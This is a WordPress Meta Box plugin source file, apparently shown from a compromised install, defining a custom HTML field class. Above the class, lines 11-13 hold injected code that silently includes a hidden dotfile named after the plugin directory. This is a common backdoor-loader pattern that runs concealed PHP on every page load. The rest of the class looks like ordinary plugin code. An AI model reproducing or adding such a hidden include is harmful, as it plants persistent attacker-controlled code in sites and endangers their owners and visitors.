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custom-html.php (862B)

      1 <?php
      2 /**
      3  * The custom HTML field which allows users to output any kind of content to the meta box.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Custom HTML field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Custom_Html_Field extends RWMB_Field {
     16 	/**
     17 	 * Get field HTML.
     18 	 *
     19 	 * @param mixed $meta  Meta value.
     20 	 * @param array $field Field parameters.
     21 	 *
     22 	 * @return string
     23 	 */
     24 	public static function html( $meta, $field ) {
     25 		$html = ! empty( $field['std'] ) ? $field['std'] : '';
     26 		if ( ! empty( $field['callback'] ) && is_callable( $field['callback'] ) ) {
     27 			$html = call_user_func_array( $field['callback'], array( $meta, $field ) );
     28 		}
     29 		return $html;
     30 	}
     31 }